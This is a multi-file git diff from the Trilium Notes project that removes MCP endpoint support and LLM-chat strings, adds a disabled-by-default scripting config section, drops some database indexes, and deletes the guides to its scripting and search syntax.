it("accepts requests when mcpEnabled is true", async () => {
setOption("mcpEnabled", "true");
const response = await mcpPost(app)
.send(jsonRpc("initialize", {
protocolVersion: "2025-03-26",
capabilities: {},
clientInfo: { name: "test", version: "1.0.0" }
}));
expect(response.status).not.toBe(403);
});
});
describe("protocol", () => {
beforeAll(() => {
setOption("mcpEnabled", "true");
});
it("initializes and returns server capabilities", async () => {
const response = await mcpPost(app)
.send(jsonRpc("initialize", {
protocolVersion: "2025-03-26",
capabilities: {},
clientInfo: { name: "test", version: "1.0.0" }
}))
.expect(200);
const body = parseSseResponse(response.text);
expect(body.result.serverInfo.name).toBe("trilium-notes");
expect(body.result.capabilities.tools).toBeDefined();
});
it("lists available tools", async () => {
const response = await mcpPost(app)
.send(jsonRpc("tools/list"))
.expect(200);
const body = parseSseResponse(response.text);
const toolNames: string[] = body.result.tools.map((t: { name: string }) => t.name);
expect(toolNames).toContain("search_notes");
expect(toolNames).toContain("read_note");
expect(toolNames).toContain("create_note");
expect(toolNames).not.toContain("get_current_note");
});
});
describe("tools", () => {
let noteId: string;
beforeAll(async () => {
setOption("mcpEnabled", "true");
noteId = await createNote(app, token, "MCP test note content");
});
it("searches for notes", async () => {
const response = await mcpPost(app)
.send(jsonRpc("tools/call", {
name: "search_notes",
arguments: { query: "MCP test note content" }
}))
.expect(200);
const body = parseSseResponse(response.text);
expect(body.result).toBeDefined();
const content = body.result.content;
expect(content.length).toBeGreaterThan(0);
expect(content[0].text).toContain(noteId);
});
it("reads a note by ID", async () => {
const response = await mcpPost(app)
.send(jsonRpc("tools/call", {
name: "read_note",
arguments: { noteId }
}))
.expect(200);
const body = parseSseResponse(response.text);
expect(body.result).toBeDefined();
const parsed = JSON.parse(body.result.content[0].text);
expect(parsed.noteId).toBe(noteId);
expect(parsed.content).toContain("MCP test note content");
});
});
});

View File

@@ -14,7 +14,6 @@ import favicon from "serve-favicon";
import assets from "./routes/assets.js";
import custom from "./routes/custom.js";
import error_handlers from "./routes/error_handlers.js";
import mcpRoutes from "./routes/mcp.js";
import routes from "./routes/routes.js";
import config from "./services/config.js";
import { startScheduledCleanup } from "./services/erase.js";
@@ -56,16 +55,7 @@ export default async function buildApp() {
});
if (!utils.isElectron) {
app.use(compression({
// Skip compression for SSE endpoints to enable real-time streaming
filter: (req, res) => {
// Skip compression for SSE-capable endpoints
if (req.path === "/api/llm-chat/stream" || req.path === "/mcp") {
return false;
}
return compression.filter(req, res);
}
}));
app.use(compression()); // HTTP compression
}
let resourcePolicy = config["Network"]["corsResourcePolicy"] as 'same-origin' | 'same-site' | 'cross-origin' | undefined;
@@ -91,10 +81,6 @@ export default async function buildApp() {
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
// MCP is registered before session/auth middleware — it uses its own
// localhost-only guard and does not require Trilium authentication.
mcpRoutes.register(app);
app.use(express.static(path.join(publicDir, "root")));
app.use(`/manifest.webmanifest`, express.static(path.join(publicAssetsDir, "manifest.webmanifest")));
app.use(`/robots.txt`, express.static(path.join(publicAssetsDir, "robots.txt")));

View File

@@ -67,3 +67,13 @@ oauthIssuerName=
# Set the issuer icon for OAuth/OpenID authentication
# This is the icon of the service that will be used to verify the user's identity
oauthIssuerIcon=
[Scripting]
# Enable backend/frontend script execution. WARNING: Scripts have full server access including
# filesystem, network, and OS commands via require('child_process'). Only enable if you trust
# all users with admin-level access to the server.
# Desktop builds override this to true automatically.
enabled=false
# Enable the SQL console (allows raw SQL execution against the database)
sqlConsoleEnabled=false

View File

@@ -79,7 +79,7 @@ CREATE UNIQUE INDEX `IDX_entityChanges_entityName_entityId` ON "entity_changes"
`entityId`
);
CREATE INDEX `IDX_branches_noteId_parentNoteId` ON `branches` (`noteId`,`parentNoteId`);
CREATE INDEX IDX_branches_parentNoteId_isDeleted_notePosition ON branches (parentNoteId, isDeleted, notePosition);
CREATE INDEX IDX_branches_parentNoteId ON branches (parentNoteId);
CREATE INDEX `IDX_notes_title` ON `notes` (`title`);
CREATE INDEX `IDX_notes_type` ON `notes` (`type`);
CREATE INDEX `IDX_notes_dateCreated` ON `notes` (`dateCreated`);
@@ -146,13 +146,6 @@ CREATE INDEX IDX_notes_blobId on notes (blobId);
CREATE INDEX IDX_revisions_blobId on revisions (blobId);
CREATE INDEX IDX_attachments_blobId on attachments (blobId);
CREATE INDEX IDX_entity_changes_isSynced_id ON entity_changes (isSynced, id);
CREATE INDEX IDX_entity_changes_isErased_entityName ON entity_changes (isErased, entityName);
CREATE INDEX IDX_notes_isDeleted_utcDateModified ON notes (isDeleted, utcDateModified);
CREATE INDEX IDX_branches_isDeleted_utcDateModified ON branches (isDeleted, utcDateModified);
CREATE INDEX IDX_attributes_isDeleted_utcDateModified ON attributes (isDeleted, utcDateModified);
CREATE INDEX IDX_attachments_isDeleted_utcDateModified ON attachments (isDeleted, utcDateModified);
CREATE INDEX IDX_attachments_utcDateScheduledForErasureSince ON attachments (utcDateScheduledForErasureSince);
CREATE TABLE IF NOT EXISTS sessions (
id TEXT PRIMARY KEY,

View File

@@ -1,156 +0,0 @@
# Trilium Backend Scripting
Backend scripts run in Node.js on the server. They have direct access to notes in memory and can interact with the system (files, processes).
## Creating a backend script
1. Create a Code note with language "JS backend".
2. The script can be run manually (Execute button) or triggered automatically.
## Script API (`api` global)
### Note retrieval
- `api.getNote(noteId)` - get note by ID
- `api.searchForNotes(query, searchParams)` - search notes (returns array)
- `api.searchForNote(query)` - search notes (returns first match)
- `api.getNotesWithLabel(name, value?)` - find notes by label
- `api.getNoteWithLabel(name, value?)` - find first note by label
- `api.getBranch(branchId)` - get branch by ID
- `api.getAttribute(attributeId)` - get attribute by ID
### Note creation
- `api.createTextNote(parentNoteId, title, content)` - create text note
- `api.createDataNote(parentNoteId, title, content)` - create JSON note
- `api.createNewNote({ parentNoteId, title, content, type })` - create note with full options
### Branch management
- `api.ensureNoteIsPresentInParent(noteId, parentNoteId, prefix?)` - create or reuse branch
- `api.ensureNoteIsAbsentFromParent(noteId, parentNoteId)` - remove branch if exists
- `api.toggleNoteInParent(present, noteId, parentNoteId, prefix?)` - toggle branch
### Calendar/date notes
- `api.getTodayNote()` - get/create today's day note
- `api.getDayNote(date)` - get/create day note (YYYY-MM-DD)
- `api.getWeekNote(date)` - get/create week note
- `api.getMonthNote(date)` - get/create month note (YYYY-MM)
- `api.getYearNote(year)` - get/create year note (YYYY)
### Utilities
- `api.log(message)` - log to Trilium logs and UI
- `api.randomString(length)` - generate random string
- `api.escapeHtml(string)` / `api.unescapeHtml(string)`
- `api.getInstanceName()` - get instance name
- `api.getAppInfo()` - get application info
### Libraries
- `api.axios` - HTTP client
- `api.dayjs` - date manipulation
- `api.xml2js` - XML parser
- `api.cheerio` - HTML/XML parser
### Advanced
- `api.transactional(func)` - wrap code in a database transaction
- `api.sql` - direct SQL access
- `api.sortNotes(parentNoteId, sortConfig)` - sort child notes
- `api.runOnFrontend(script, params)` - execute code on all connected frontends
- `api.backupNow(backupName)` - create a backup
- `api.exportSubtreeToZipFile(noteId, format, zipFilePath)` - export subtree (format: "markdown" or "html")
- `api.duplicateSubtree(origNoteId, newParentNoteId)` - clone note and children
## BNote object
Available on notes returned from API methods (`api.getNote()`, `api.originEntity`, etc.).
### Content
- `note.getContent()` / `note.setContent(content)`
- `note.getJsonContent()` / `note.setJsonContent(obj)`
- `note.getJsonContentSafely()` - returns null on parse error
### Properties
- `note.noteId`, `note.title`, `note.type`, `note.mime`
- `note.dateCreated`, `note.dateModified`
- `note.isProtected`, `note.isArchived`
### Hierarchy
- `note.getParentNotes()` / `note.getChildNotes()`
- `note.getParentBranches()` / `note.getChildBranches()`
- `note.hasChildren()`, `note.getAncestors()`
- `note.getSubtreeNoteIds()` - all descendant IDs
- `note.hasAncestor(ancestorNoteId)`
### Attributes (including inherited)
- `note.getLabels(name?)` / `note.getLabelValue(name)`
- `note.getRelations(name?)` / `note.getRelation(name)`
- `note.hasLabel(name, value?)` / `note.hasRelation(name, value?)`
### Attribute modification
- `note.setLabel(name, value?)` / `note.removeLabel(name, value?)`
- `note.setRelation(name, targetNoteId)` / `note.removeRelation(name, value?)`
- `note.addLabel(name, value?, isInheritable?)` / `note.addRelation(name, targetNoteId, isInheritable?)`
- `note.toggleLabel(enabled, name, value?)`
### Operations
- `note.save()` - persist changes
- `note.deleteNote()` - soft delete
- `note.cloneTo(parentNoteId)` - clone to another parent
### Type checks
- `note.isJson()`, `note.isJavaScript()`, `note.isHtml()`, `note.isImage()`
- `note.hasStringContent()` - true if not binary
## Events and triggers
### Global events (via `#run` label on the script note)
- `#run=backendStartup` - run when server starts
- `#run=hourly` - run once per hour (use `#runAtHour=N` to specify which hours)
- `#run=daily` - run once per day
### Entity events (via relation from the entity to the script note)
These are defined as relations. `api.originEntity` contains the entity that triggered the event.
| Relation | Trigger | originEntity |
|---|---|---|
| `~runOnNoteCreation` | note created | BNote |
| `~runOnChildNoteCreation` | child note created under this note | BNote (child) |
| `~runOnNoteTitleChange` | note title changed | BNote |
| `~runOnNoteContentChange` | note content changed | BNote |
| `~runOnNoteChange` | note metadata changed (not content) | BNote |
| `~runOnNoteDeletion` | note deleted | BNote |
| `~runOnBranchCreation` | branch created (clone/move) | BBranch |
| `~runOnBranchChange` | branch updated | BBranch |
| `~runOnBranchDeletion` | branch deleted | BBranch |
| `~runOnAttributeCreation` | attribute created on this note | BAttribute |
| `~runOnAttributeChange` | attribute changed/deleted on this note | BAttribute |
Relations can be inheritable — when set, they apply to all descendant notes.
## Example: auto-color notes by category
```javascript
// Attach via ~runOnAttributeChange relation
const attr = api.originEntity;
if (attr.name !== "mycategory") return;
const note = api.getNote(attr.noteId);
if (attr.value === "Health") {
note.setLabel("color", "green");
} else {
note.removeLabel("color");
}
```
## Example: create a daily summary
```javascript
// Attach #run=daily label
const today = api.getTodayNote();
const tasks = api.searchForNotes('#task #!completed');
let summary = "## Open Tasks\n";
for (const task of tasks) {
summary += `- ${task.title}\n`;
}
api.createTextNote(today.noteId, "Daily Summary", summary);
```
## Module system
Child notes of a script act as modules. Export with `module.exports = ...` and import via function parameters matching the child note title, or use `require('noteName')`.

View File

@@ -1,240 +0,0 @@
# Trilium Frontend Scripting
Frontend scripts run in the browser. They can manipulate the UI, navigate notes, show dialogs, and create custom widgets.
IMPORTANT: Always prefer Preact JSX widgets over legacy jQuery widgets. Use JSX code notes with `import`/`export` syntax.
CRITICAL: In JSX notes, always use top-level `import` statements (e.g. `import { useState } from "trilium:preact"`). NEVER use dynamic `await import()` for Preact imports — this will break hooks and components. Dynamic imports are not needed because JSX notes natively support ES module `import`/`export` syntax.
## Creating a frontend script
1. Create a Code note with language "JSX" (preferred) or "JS frontend" (legacy only).
2. Add `#widget` label for widgets, or `#run=frontendStartup` for auto-run scripts.
3. For mobile, use `#run=mobileStartup` instead.
## Script types
| Type | Language | Required attribute |
|---|---|---|
| Custom widget | JSX (preferred) | `#widget` |
| Regular script | JS frontend | `#run=frontendStartup` (optional) |
| Render note | JSX | None (used via `~renderNote` relation) |
## Custom widgets (Preact JSX) — preferred
### Basic widget
```jsx
import { defineWidget } from "trilium:preact";
import { useState } from "trilium:preact";
export default defineWidget({
parent: "center-pane",
position: 10,
render: () => {
const [count, setCount] = useState(0);
return (
<div>
<button onClick={() => setCount(c => c + 1)}>
Clicked {count} times
</button>
</div>
);
}
});
```
### Note context aware widget (reacts to active note)
```jsx
import { defineWidget, useNoteContext, useNoteProperty } from "trilium:preact";
export default defineWidget({
parent: "note-detail-pane",
position: 10,
render: () => {
const { note } = useNoteContext();
const title = useNoteProperty(note, "title");
return <span>Current note: {title}</span>;
}
});
```
### Right panel widget (sidebar)
```jsx
import { defineWidget, RightPanelWidget, useState, useEffect } from "trilium:preact";
export default defineWidget({
parent: "right-pane",
position: 1,
render() {
const [time, setTime] = useState();
useEffect(() => {
const interval = setInterval(() => {
setTime(new Date().toLocaleString());
}, 1000);
return () => clearInterval(interval);
});
return (
<RightPanelWidget id="my-clock" title="Clock">
<p>The time is: {time}</p>
</RightPanelWidget>
);
}
});
```
### Widget locations (`parent` values)
| Value | Description | Notes |
|---|---|---|
| `left-pane` | Alongside the note tree | |
| `center-pane` | Content area, spanning all splits | |
| `note-detail-pane` | Inside a note, split-aware | Use `useNoteContext()` hook |
| `right-pane` | Right sidebar section | Wrap in `<RightPanelWidget>` |
### Preact imports
```jsx
// API methods
import { showMessage, showError, getNote, searchForNotes, activateNote,
runOnBackend, getActiveContextNote } from "trilium:api";
// Hooks and components
import { defineWidget, defineLauncherWidget,
useState, useEffect, useCallback, useMemo, useRef,
useNoteContext, useActiveNoteContext, useNoteProperty,
RightPanelWidget } from "trilium:preact";
// Built-in UI components
import { ActionButton, Button, LinkButton, Modal,
NoteAutocomplete, FormTextBox, FormToggle, FormCheckbox,
FormDropdownList, FormGroup, FormText, FormTextArea,
Icon, LoadingSpinner, Slider, Collapsible } from "trilium:preact";
```
### Custom hooks
- `useNoteContext()` - returns `{ note }` for the current note context (use in `note-detail-pane`)
- `useActiveNoteContext()` - returns `{ note, noteId }` for the active note (works from any widget location)
- `useNoteProperty(note, propName)` - reactively watches a note property (e.g. "title", "type")
### Render notes (JSX)
For rendering custom content inside a note:
1. Create a "render note" (type: Render Note) where you want the content to appear.
2. Create a JSX code note **as a child** of the render note, exporting a default component.
3. On the render note, add a `~renderNote` relation pointing to the child JSX note.
IMPORTANT: Always create the JSX code note as a child of the render note, not as a sibling or at the root. This keeps them organized together.
```jsx
export default function MyRenderNote() {
return (
<>
<h1>Custom rendered content</h1>
<p>This appears inside the note.</p>
</>
);
}
```
## Script API
In JSX, use `import { method } from "trilium:api"`. In JS frontend, use the `api` global.
### Navigation & tabs
- `activateNote(notePath)` - navigate to a note
- `activateNewNote(notePath)` - navigate and wait for sync
- `openTabWithNote(notePath, activate?)` - open in new tab
- `openSplitWithNote(notePath, activate?)` - open in new split
- `getActiveContextNote()` - get currently active note
- `getActiveContextNotePath()` - get path of active note
- `setHoistedNoteId(noteId)` - hoist/unhoist note
### Note access & search
- `getNote(noteId)` - get note by ID
- `getNotes(noteIds)` - bulk fetch notes
- `searchForNotes(searchString)` - search with full query syntax
- `searchForNote(searchString)` - search returning first result
### Calendar/date notes
- `getTodayNote()` - get/create today's note
- `getDayNote(date)` / `getWeekNote(date)` / `getMonthNote(month)` / `getYearNote(year)`
### Editor access
- `getActiveContextTextEditor()` - get CKEditor instance
- `getActiveContextCodeEditor()` - get CodeMirror instance
- `addTextToActiveContextEditor(text)` - insert text into active editor
### Dialogs & notifications
- `showMessage(msg)` - info toast
- `showError(msg)` - error toast
- `showConfirmDialog(msg)` - confirm dialog (returns boolean)
- `showPromptDialog(msg)` - prompt dialog (returns user input)
### Backend integration
- `runOnBackend(func, params)` - execute a function on the backend
### UI interaction
- `triggerCommand(name, data)` - trigger a command
- `bindGlobalShortcut(shortcut, handler, namespace?)` - add keyboard shortcut
### Utilities
- `formatDateISO(date)` - format as YYYY-MM-DD
- `randomString(length)` - generate random string
- `dayjs` - day.js library
- `log(message)` - log to script log pane
## FNote object
Available via `getNote()`, `getActiveContextNote()`, `useNoteContext()`, etc.
### Properties
- `note.noteId`, `note.title`, `note.type`, `note.mime`
- `note.isProtected`, `note.isArchived`
### Content
- `note.getContent()` - get note content
- `note.getJsonContent()` - parse content as JSON
### Hierarchy
- `note.getParentNotes()` / `note.getChildNotes()`
- `note.hasChildren()`, `note.getSubtreeNoteIds()`
### Attributes
- `note.getAttributes(type?, name?)` - all attributes (including inherited)
- `note.getOwnedAttributes(type?, name?)` - only owned attributes
- `note.hasAttribute(type, name)` - check for attribute
## Legacy jQuery widgets (avoid if possible)
Only use legacy widgets if you specifically need jQuery or cannot use JSX.
```javascript
// Language: JS frontend, Label: #widget
class MyWidget extends api.BasicWidget {
get position() { return 1; }
get parentWidget() { return "center-pane"; }
doRender() {
this.$widget = $("<div>");
this.$widget.append($("<button>Click me</button>")
.on("click", () => api.showMessage("Hello!")));
return this.$widget;
}
}
module.exports = new MyWidget();
```
Key differences from Preact:
- Use `api.` global instead of imports
- `get parentWidget()` instead of `parent` field
- `module.exports = new MyWidget()` (instance) for most widgets
- `module.exports = MyWidget` (class, no `new`) for `note-detail-pane`
- Right pane: extend `api.RightPanelWidget`, override `doRenderBody()` instead of `doRender()`
## Module system
For JSX, use `import`/`export` syntax between notes. For JS frontend, use `module.exports` and function parameters matching child note titles.

View File

@@ -1,50 +0,0 @@
# Trilium Search Syntax
## Full-text search
- `rings tolkien` — notes containing both words
- `"The Lord of the Rings"` — exact phrase match
## Label filters
- `#book` — notes with the "book" label
- `#!book` — notes WITHOUT the "book" label
- `#publicationYear = 1954` — exact value
- `#genre *=* fan` — contains substring
- `#title =* The` — starts with
- `#title *= Rings` — ends with
- `#publicationYear >= 1950` — numeric comparison (>, >=, <, <=)
- `#dateNote >= TODAY-30` — date keywords: NOW+-seconds, TODAY+-days, MONTH+-months, YEAR+-years
- `#phone %= '\d{3}-\d{4}'` — regex match
- `#title ~= trilim` — fuzzy exact match (tolerates typos, min 3 chars)
- `#content ~* progra` — fuzzy contains match
## Relation filters
- `~author` — notes with an "author" relation
- `~author.title *=* Tolkien` — relation target's title contains "Tolkien"
- `~author.relations.son.title = 'Christopher Tolkien'` — deep relation traversal
## Note properties
Access via `note.` prefix: noteId, title, type, mime, text, content, rawContent, dateCreated, dateModified, isProtected, isArchived, parentCount, childrenCount, attributeCount, labelCount, relationCount, contentSize, revisionCount.
- `note.type = code AND note.mime = 'application/json'`
- `note.content *=* searchTerm`
## Hierarchy
- `note.parents.title = 'Books'` — parent named "Books"
- `note.ancestors.title = 'Books'` — any ancestor named "Books"
- `note.children.title = 'sub-note'` — child named "sub-note"
## Boolean logic
- AND: `#book AND #fantasy` (implicit between adjacent expressions)
- OR: `#book OR #author`
- NOT: `not(note.ancestors.title = 'Tolkien')`
- Parentheses: `(#genre = "fantasy" AND #year >= 1950) OR #award`
## Combining full-text and attributes
- `towers #book` — full-text "towers" AND has #book label
- `tolkien #book or #author` — full-text with OR on labels
## Ordering and limiting
- `#author=Tolkien orderBy #publicationDate desc, note.title limit 10`
## Escaping
- `\#hash` — literal # in full-text
- Three quote types: single, double, backtick

View File

@@ -297,8 +297,7 @@
},
"quarterNumber": "Quarter {quarterNumber}",
"special_notes": {
"search_prefix": "Search:",
"llm_chat_prefix": "Chat:"
"search_prefix": "Search:"
},
"test_sync": {
"not-configured": "Sync server host is not configured. Please configure sync first.",
@@ -309,7 +308,6 @@
"search-history-title": "Search History",
"note-map-title": "Note Map",
"sql-console-history-title": "SQL Console History",
"llm-chat-history-title": "AI Chat History",
"shared-notes-title": "Shared Notes",
"bulk-action-title": "Bulk Action",
"backend-log-title": "Backend Log",
@@ -353,13 +351,11 @@
"sync-title": "Sync",
"other": "Other",
"advanced-title": "Advanced",
"llm-title": "AI / LLM",
"visible-launchers-title": "Visible Launchers",
"user-guide": "User Guide",
"localization": "Language & Region",
"inbox-title": "Inbox",
"tab-switcher-title": "Tab Switcher",
"sidebar-chat-title": "AI Chat"
"tab-switcher-title": "Tab Switcher"
},
"notes": {
"new-note": "New note",

View File

@@ -1,445 +1,440 @@
{
"keyboard_actions": {
"open-jump-to-note-dialog": "Ouvrir la boîte de dialogue \"Aller à la note\"",
"search-in-subtree": "Rechercher des notes dans les sous-arbres de la note active",
"expand-subtree": "Développer le sous-arbre de la note actuelle",
"collapse-tree": "Réduire toute l'arborescence des notes",
"collapse-subtree": "Réduire le sous-arbre de la note actuelle",
"sort-child-notes": "Trier les notes enfants",
"creating-and-moving-notes": "Créer et déplacer des notes",
"create-note-into-inbox": "Créer une note dans l'emplacement par défaut (si défini) ou une note journalière",
"delete-note": "Supprimer la note",
"move-note-up": "Déplacer la note vers le haut",
"move-note-down": "Déplacer la note vers le bas",
"move-note-up-in-hierarchy": "Déplacer la note vers le haut dans la hiérarchie",
"move-note-down-in-hierarchy": "Déplacer la note vers le bas dans la hiérarchie",
"edit-note-title": "Passer de l'arborescence aux détails d'une note et éditer le titre",
"edit-branch-prefix": "Afficher la fenêtre Éditer le préfixe de branche",
"note-clipboard": "Note presse-papiers",
"copy-notes-to-clipboard": "Copier les notes sélectionnées dans le presse-papiers",
"paste-notes-from-clipboard": "Coller les notes depuis le presse-papiers dans la note active",
"cut-notes-to-clipboard": "Couper les notes sélectionnées dans le presse-papiers",
"select-all-notes-in-parent": "Sélectionner toutes les notes du niveau de la note active",
"add-note-above-to-the-selection": "Ajouter la note au-dessus de la sélection",
"add-note-below-to-selection": "Ajouter la note en dessous de la sélection",
"duplicate-subtree": "Dupliquer le sous-arbre",
"tabs-and-windows": "Onglets et fenêtres",
"open-new-tab": "Ouvrir un nouvel onglet",
"close-active-tab": "Fermer l'onglet actif",
"reopen-last-tab": "Rouvrir le dernier onglet fermé",
"activate-next-tab": "Basculer vers l'onglet à droite de l'onglet actif",
"activate-previous-tab": "Basculer vers l'onglet à gauche de l'onglet actif",
"open-new-window": "Ouvrir une nouvelle fenêtre vide",
"toggle-tray": "Afficher/masquer l'application dans la barre des tâches",
"first-tab": "Basculer vers le premier onglet dans la liste",
"second-tab": "Basculer vers le deuxième onglet dans la liste",
"third-tab": "Basculer vers le troisième onglet dans la liste",
"fourth-tab": "Basculer vers le quatrième onglet dans la liste",
"fifth-tab": "Basculer vers le cinquième onglet dans la liste",
"sixth-tab": "Basculer vers le sixième onglet dans la liste",
"seventh-tab": "Basculer vers le septième onglet dans la liste",
"eight-tab": "Basculer vers le huitième onglet dans la liste",
"ninth-tab": "Basculer vers le neuvième onglet dans la liste",
"last-tab": "Basculer vers le dernier onglet dans la liste",
"dialogs": "Boîtes de dialogue",
"show-note-source": "Affiche la boîte de dialogue Source de la note",
"show-options": "Afficher les Options",
"show-revisions": "Afficher la boîte de dialogue Versions de la note",
"show-recent-changes": "Afficher la boîte de dialogue Modifications récentes",
"show-sql-console": "Afficher la boîte de dialogue Console SQL",
"show-backend-log": "Afficher la boîte de dialogue Journal du backend",
"text-note-operations": "Opérations sur les notes textuelles",
"add-link-to-text": "Ouvrir la boîte de dialogue pour ajouter un lien dans le texte",
"follow-link-under-cursor": "Suivre le lien sous le curseur",
"insert-date-and-time-to-text": "Insérer la date et l'heure dans le texte",
"paste-markdown-into-text": "Coller du texte au format Markdown dans la note depuis le presse-papiers",
"cut-into-note": "Couper la sélection depuis la note actuelle et créer une sous-note avec le texte sélectionné",
"add-include-note-to-text": "Ouvrir la boîte de dialogue pour Inclure une note",
"edit-readonly-note": "Éditer une note en lecture seule",
"attributes-labels-and-relations": "Attributs (labels et relations)",
"add-new-label": "Créer un nouveau label",
"create-new-relation": "Créer une nouvelle relation",
"ribbon-tabs": "Onglets du ruban",
"toggle-basic-properties": "Afficher/masquer les Propriétés de base de la note",
"toggle-file-properties": "Afficher/masquer les Propriétés du fichier",
"toggle-image-properties": "Afficher/masquer les Propriétés de l'image",
"toggle-owned-attributes": "Afficher/masquer les Attributs propres",
"toggle-inherited-attributes": "Afficher/masquer les Attributs hérités",
"toggle-promoted-attributes": "Afficher/masquer les Attributs promus",
"toggle-link-map": "Afficher/masquer la Carte de la note",
"toggle-note-info": "Afficher/masquer les Informations de la note",
"toggle-note-paths": "Afficher/masquer les Emplacements de la note",
"toggle-similar-notes": "Afficher/masquer les Notes similaires",
"other": "Autre",
"toggle-right-pane": "Afficher/masquer le volet droit, qui inclut la Table des matières et les Accentuations",
"print-active-note": "Imprimer la note active",
"open-note-externally": "Ouvrir la note comme fichier avec l'application par défaut",
"render-active-note": "Rendre (ou re-rendre) la note active",
"run-active-note": "Exécuter le code JavaScript (frontend/backend) de la note active",
"toggle-note-hoisting": "Activer le focus sur la note active",
"unhoist": "Désactiver tout focus",
"reload-frontend-app": "Recharger l'application",
"open-dev-tools": "Ouvrir les outils de développement",
"toggle-left-note-tree-panel": "Basculer le panneau gauche (arborescence des notes)",
"toggle-full-screen": "Basculer en plein écran",
"zoom-out": "Dézoomer",
"zoom-in": "Zoomer",
"note-navigation": "Navigation dans les notes",
"reset-zoom-level": "Réinitialiser le niveau de zoom",
"copy-without-formatting": "Copier le texte sélectionné sans mise en forme",
"force-save-revision": "Forcer la création / sauvegarde d'une nouvelle version de la note active",
"show-help": "Affiche le guide de l'utilisateur intégré",
"toggle-book-properties": "Afficher/masquer les Propriétés du Livre",
"toggle-classic-editor-toolbar": "Activer/désactiver l'onglet Mise en forme de l'éditeur avec la barre d'outils fixe",
"export-as-pdf": "Exporte la note actuelle en PDF",
"show-cheatsheet": "Affiche une fenêtre modale avec des opérations de clavier courantes",
"toggle-zen-mode": "Active/désactive le mode zen (interface réduite pour favoriser la concentration)",
"back-in-note-history": "Naviguer à la note précédente dans l'historique",
"forward-in-note-history": "Naviguer a la note suivante dans l'historique",
"open-command-palette": "Ouvrir la palette de commandes",
"clone-notes-to": "Cloner les nœuds sélectionnés",
"move-notes-to": "Déplacer les nœuds sélectionnés",
"scroll-to-active-note": "Faire défiler larborescence des notes jusquà la note active",
"quick-search": "Activer la barre de recherche rapide",
"create-note-after": "Créer une note après la note active",
"create-note-into": "Créer une note enfant de la note active",
"find-in-text": "Afficher/Masquer le panneau de recherche"
},
"login": {
"title": "Connexion",
"heading": "Connexion à Trilium",
"incorrect-password": "Le mot de passe est incorrect. Veuillez réessayer.",
"password": "Mot de passe",
"remember-me": "Se souvenir de moi",
"button": "Connexion",
"sign_in_with_sso": "Se connecter avec {{ ssoIssuerName }}",
"incorrect-totp": "TOTP incorrect. Veuillez réessayer."
},
"set_password": {
"title": "Définir un mot de passe",
"heading": "Définir un mot de passe",
"description": "Avant de pouvoir commencer à utiliser Trilium depuis le web, vous devez d'abord définir un mot de passe. Vous utiliserez ensuite ce mot de passe pour vous connecter.",
"password": "Mot de passe",
"password-confirmation": "Confirmation du mot de passe",
"button": "Définir le mot de passe"
},
"setup": {
"heading": "Configuration de Trilium Notes",
"new-document": "Je suis un nouvel utilisateur et je souhaite créer un nouveau document Trilium pour mes notes",
"sync-from-desktop": "J'ai déjà l'application de bureau et je souhaite configurer la synchronisation avec celle-ci",
"sync-from-server": "J'ai déjà un serveur et je souhaite configurer la synchronisation avec celui-ci",
"next": "Suivant",
"init-in-progress": "Initialisation du document en cours",
"redirecting": "Vous serez bientôt redirigé vers l'application.",
"title": "Configuration"
},
"setup_sync-from-desktop": {
"heading": "Synchroniser depuis une application de bureau",
"description": "Cette procédure doit être réalisée depuis l'application de bureau :",
"step1": "Ouvrez l'application Trilium Notes.",
"step2": "Dans le menu Trilium, cliquez sur Options.",
"step3": "Cliquez sur la catégorie Synchroniser.",
"step4": "Remplacez l'adresse de l'instance de serveur par : {{- host}} et cliquez sur Enregistrer.",
"step5": "Cliquez sur le bouton 'Tester la synchronisation' pour vérifier que la connexion fonctionne.",
"step6": "Une fois que vous avez terminé ces étapes, cliquez sur {{- link}}.",
"step6-here": "ici"
},
"setup_sync-from-server": {
"heading": "Synchroniser depuis le serveur",
"instructions": "Veuillez saisir l'adresse du serveur Trilium et les informations d'identification ci-dessous. Cela téléchargera l'intégralité du document Trilium à partir du serveur et configurera la synchronisation avec celui-ci. En fonction de la taille du document et de votre vitesse de connexion, cela peut prendre un plusieurs minutes.",
"server-host": "Adresse du serveur Trilium",
"server-host-placeholder": "https://<nom d'hôte>:<port>",
"proxy-server": "Serveur proxy (facultatif)",
"proxy-server-placeholder": "https://<nom d'hôte>:<port>",
"note": "Note :",
"proxy-instruction": "Si vous laissez le paramètre de proxy vide, le proxy du système sera utilisé (s'applique uniquement à l'application de bureau)",
"password": "Mot de passe",
"password-placeholder": "Mot de passe",
"back": "Retour",
"finish-setup": "Terminer"
},
"setup_sync-in-progress": {
"heading": "Synchronisation en cours",
"successful": "La synchronisation a été correctement configurée. La synchronisation initiale prendra un certain temps. Une fois terminée, vous serez redirigé vers la page de connexion.",
"outstanding-items": "Éléments de synchronisation exceptionnels :",
"outstanding-items-default": "N/A"
},
"share_404": {
"title": "Page non trouvée",
"heading": "Page non trouvée"
},
"share_page": {
"parent": "parent :",
"clipped-from": "Cette note a été initialement extraite de {{- url}}",
"child-notes": "Notes enfants :",
"no-content": "Cette note n'a aucun contenu."
},
"weekdays": {
"monday": "Lundi",
"tuesday": "Mardi",
"wednesday": "Mercredi",
"thursday": "Jeudi",
"friday": "Vendredi",
"saturday": "Samedi",
"sunday": "Dimanche"
},
"months": {
"january": "Janvier",
"february": "Février",
"march": "Mars",
"april": "Avril",
"may": "Mai",
"june": "Juin",
"july": "Juillet",
"august": "Août",
"september": "Septembre",
"october": "Octobre",
"november": "Novembre",
"december": "Décembre"
},
"special_notes": {
"search_prefix": "Recherche :",
"llm_chat_prefix": "Chat:"
},
"test_sync": {
"not-configured": "L'hôte du serveur de synchronisation n'est pas configuré. Veuillez d'abord configurer la synchronisation.",
"successful": "L'établissement de liaison du serveur de synchronisation a été réussi, la synchronisation a été démarrée."
},
"hidden-subtree": {
"root-title": "Notes cachées",
"search-history-title": "Historique de recherche",
"note-map-title": "Carte de la Note",
"sql-console-history-title": "Historique de la console SQL",
"shared-notes-title": "Notes partagées",
"bulk-action-title": "Action groupée",
"backend-log-title": "Journal Backend",
"user-hidden-title": "Utilisateur masqué",
"launch-bar-templates-title": "Modèles de barre de raccourcis",
"base-abstract-launcher-title": "Raccourci Base abstraite",
"command-launcher-title": "Raccourci Commande",
"note-launcher-title": "Raccourci Note",
"script-launcher-title": "Raccourci Script",
"built-in-widget-title": "Widget intégré",
"spacer-title": "Séparateur",
"custom-widget-title": "Widget personnalisé",
"launch-bar-title": "Barre de lancement",
"available-launchers-title": "Raccourcis disponibles",
"go-to-previous-note-title": "Aller à la note précédente",
"go-to-next-note-title": "Aller à la note suivante",
